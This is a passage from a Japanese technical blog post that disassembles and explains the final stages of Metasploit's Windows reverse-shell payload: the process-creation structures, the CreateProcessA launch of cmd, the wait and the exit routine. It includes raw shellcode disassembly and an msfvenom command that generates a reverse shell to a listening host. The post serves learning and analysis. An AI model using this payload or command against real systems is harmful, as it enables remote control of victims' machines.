なお、cmdはコマンドプロンプトを表しています。Windows環境の方はエクスプローラーを開き、パスが表示されるところにcmdと入力するとコマンドプロンプトが起動することを確認できます。

8.1 STARTUPINFOA / PROCESS_INFORMATION の初期化

000000EB  57                push edi
000000EC  57                push edi
000000ED  57                push edi
000000EE  31F6              xor esi,esi
000000F0  6A12              push byte +0x12
000000F2  59                pop ecx
000000F3  56                push esi
000000F4  E2FD              loop 0xf3
000000F6  66C744243C0101    mov word [esp+0x3c],0x101
000000FD  8D442410          lea eax,[esp+0x10]
00000101  C60044            mov byte [eax],0x44

ここではCreateProcessAで必要となる、STARTUPINFOA構造体の作成をしています。

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

パラメータが多いですが、重要なものは多くありません。リバースシェルにおいて一番重要なものは下三つのHANDLEです。これは標準入力、標準出力、エラーに相当するもので、これらをどこに流すかを指定しています。今回はEDI=WSASocketAの返り値が使用されており、NW通信を介して攻撃者のコンソールに標準入力、標準出力、エラーが表示されることになります。(000000EB~000000ED)

次に18(=0x12)回0がpushされています。(000000EE~000000F4)
STARTUPINFOA構造体のサイズは0x44のため、必要分以上の領域を0埋めしていることになります。これは後ほど使用するPROCESS_INFORMATION構造体のためのスペースも併せて確保しているためです。

これを踏まえてスタックの状況を整理すると以下のような形になります。

アドレス 内容 備考
ESP 0x00000000 PROCESS_INFORMATION
ESP+0x04 0x00000000 PROCESS_INFORMATION
ESP+0x08 0x00000000 PROCESS_INFORMATION
ESP+0x0C 0x00000000 PROCESS_INFORMATION
ESP+0x10 0x00000000 DWORD cb
ESP+0x14 0x00000000 LPSTR lpReserved
ESP+0x18 0x00000000 LPSTR lpDesktop
ESP+0x1C 0x00000000 LPSTR lpTitle
ESP+0x20 0x00000000 DWORD dwX
ESP+0x24 0x00000000 DWORD dwY
ESP+0x28 0x00000000 DWORD dwXSize
ESP+0x2C 0x00000000 DWORD dwYSize
ESP+0x30 0x00000000 DWORD dwXCountChars
ESP+0x34 0x00000000 DWORD dwYCountChars
ESP+0x38 0x00000000 DWORD dwFillAttribute
ESP+0x3C 0x00000000 DWORD dwFlags
ESP+0x40 0x00000000 WORD wShowWindow ,WORD cbReserved2
ESP+0x44 0x00000000 LPBYTE lpReserved2
ESP+0x48 WSASocketAの返り値 HANDLE hStdInput
ESP+0x4C WSASocketAの返り値 HANDLE hStdOutput
ESP+0x50 WSASocketAの返り値 HANDLE hStdError

STARTUPINFOA構造体のほとんどは0でよいのですが、あと二つほど値が必要な個所があります。cbとdwFlagsです。dwFlagsには0x101、cbには0x44を格納します。(000000F6~00000101)
dwFlagsを設定することで、CreateProcessA 実行時に 標準入出力ハンドル(stdin/stdout/stderr)の指定が有効になります。

ところで、cbとdwFlagsの設定の入れ方が少し違うことに気付いた方もいるかもしれません。具体的にはEAXにesp+0x10を格納するのって無駄じゃない?となったかもしれません。
これはこの時点ではそうなのですが、次に行うCreateProcessAの実行でSTARTUPINFOA構造体へのポインターを引数に設定する必要があります。折角ポインターの位置に値を設定する必要があるのなら、この時点でポインターをEAXに格納しておき、コードを短くしようという合理的な作りになっています。

9. CreateProcessA の呼び出し

00000104  54                push esp
00000105  50                push eax
00000106  56                push esi
00000107  56                push esi
00000108  56                push esi
00000109  46                inc esi
0000010A  56                push esi
0000010B  4E                dec esi
0000010C  56                push esi
0000010D  56                push esi
0000010E  53                push ebx
0000010F  56                push esi
00000110  6879CC3F86        push dword 0x863fcc79
00000115  FFD5              call ebp

ここからCreateProcessAの実行に入ります。

まずはHashの確認です。
kernel32.dll-CreateProcessAのHashであることが分かります。

CreateProcessAの引数を見てみます。

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

引数で構造体が必要なのは下二つで、lpStartupInfoとlpProcessInformationです。これは先ほどどちらも作成しており、ポインターもESP、EAXに格納済みのためpushしています。

これ以外はほとんど0でいいのですが、二つだけ設定が必要な引数があります。一つがbInheritHandlesで、これは子プロセス(CreateProcessA)へ親プロセスが作成したWSASocketAのハンドルを使用できるように継承させるための設定です。もう一つがlpCommandLineで、これは事前に作成した"cmd"というコマンドを設定します。

そしてCreateProcessAが実行され、攻撃者のコンソールで入出力が可能になります。

10. WaitForSingleObject による待機

00000117  89E0              mov eax,esp
00000119  4E                dec esi
0000011A  56                push esi
0000011B  46                inc esi
0000011C  FF30              push dword [eax]
0000011E  6808871D60        push dword 0x601d8708
00000123  FFD5              call ebp

CreateProcessAが実行され、リバースシェルとしての基本的な処理は完了しましたが、このままではコードが進みリバースシェルが即座に終了してしまいます。そこでここではcmdが終了するまで待つ処理が行われています。

まずはHashの中身を確認すると、kernel32.dll-WaitForSingleObjectであることが分かります。

WaitForSingleObjectの引数を確認します。

DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

dwMillisecondsは待ち時間ですが、ここでは-1を設定することで無制限に待つことを指定しています。(00000119~0000011B)

hHandleは待つ対象のプロセスを指定する必要があります。今回指定するのはCreateProcessAで作成されたプロセスであり、このプロセスのhandleはCreateProcessAで引数として使用したlpProcessInformationに格納されています。lpProcessInformationは今ちょうどESPに存在するため、mov eax,esp でそのポインタを保持してから設定をしています。(00000117,0000011C)

11. 終了処理(EXITFUNC)

00000125  BBF0B5A256        mov ebx,0x56a2b5f0
0000012A  68A695BD9D        push dword 0x9dbd95a6
0000012F  FFD5              call ebp
00000131  3C06              cmp al,0x6
00000133  7C0A              jl 0x13f
00000135  80FBE0            cmp bl,0xe0
00000138  7505              jnz 0x13f
0000013A  BB4713726F        mov ebx,0x6f721347
0000013F  6A00              push byte +0x0
00000141  53                push ebx
00000142  FFD5              call ebp

そして最後のブロックになります。ここでは終了処理が行われています。

いくつかHashがあるので、まずこれが何かを確認します。

では上から順に見ていきます。

まずEBXにexitprocessのHashが格納されています。これは最後に呼ぶ関数で今は使用しません。(00000125)

次にkernel32.dll-GetVersionが実行されています。

NOT_BUILD_WINDOWS_DEPRECATE DWORD GetVersion();

この関数に引数は必要なく、戻り値としてEAXにバージョン情報が格納されます。(0000012A~0000012F)
このバージョン情報を確認し、メジャーバージョンが6未満なら0x13fへ飛びます。(00000131~00000133)

次にBLが0xe0か比較が行われます。もし、異なる場合は0x13fへ飛びます。同じだった場合はEBXが"ntdll.dll!RtlExitUserThread"のHashへと書き換わります。(00000135~0000013A)

cmp bl,0xe0 の意味

あれ?と思った方もいるかもしれませんが、このコードにおいてBL=0xe0になることはありません。EBXは00000125で設定されており、GetVersionでもEBXは変化しないため。ではなぜこんなコードがあるのか?という話になりますが、これは"RtlExitUserThread"とあるように終了時にThreadを終了させるときに使用するコードです。
具体的にはリバースシェルをmetasploitで作成するとき、引数で"EXITFUNC=thread"を指定することができます。これをするとプロセスの終了ではなくthreadの終了処理が行われます。
試しに"EXITFUNC=thread"で生成し逆アセンブルしてみると、mov ebx,0x56a2b5f0 が異なる値になっており、cmp bl,0xe0 が機能することが確認できました。

┌──(kali㉿kali)-[~/Documents/Work]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=443 EXITFUNC=thread -f raw -o sample_reverse_shell_thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: sample_reverse_shell_thread

┌──(kali㉿kali)-[~/Documents/Work]
└─$ ndisasm -b 32 sample_reverse_shell_thread
                    ~省略~
00000125  BBE01D2A0A        mov ebx,0xa2a1de0
0000012A  68A695BD9D        push dword 0x9dbd95a6
0000012F  FFD5              call ebp
00000131  3C06              cmp al,0x6
00000133  7C0A              jl 0x13f
00000135  80FBE0            cmp bl,0xe0
00000138  7505              jnz 0x13f
0000013A  BB4713726F        mov ebx,0x6f721347
0000013F  6A00              push byte +0x0
00000141  53                push ebx
00000142  FFD5              call ebp

metasploitはモジュールの組み合わせでコードが生成されるようになっており、"EXITFUNC=thread"専用のモジュールがないため、このように少し無駄なコードが生まれているようです。

そして最後にEBXで指定したexitprocessもしくはntdll.dll!RtlExitUserThreadが実行されます。どちらの関数の場合も引数は一つで、終了コードです。終了コード0x0は正常終了を表現しており、問題なくプロセスやthreadが終了したことを親プロセスへ伝えます。

これでリバースシェルの動作は終了となります。

おわりに

Metasploit のリバースシェルの動きを追ってみて、いかがでしたでしょうか?

私は普段の業務ではこんな低レイヤーにはまず触れないので、良い刺激になりました。また、限られた制約の中でのHash化処理や APIアドレス解決ルーチン、少しでもコードを短くする工夫など、目から鱗な箇所も多く、ただただ感嘆するばかりでした。こういったコードを設計して書けるようになりたいものです。

以上、Metasploitのリバースシェル解読の記録でした。
ここまで読んでいただき、ありがとうございました!

記載されている会社名、製品名、サービス名は、各社の商標または登録商標です。

5
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?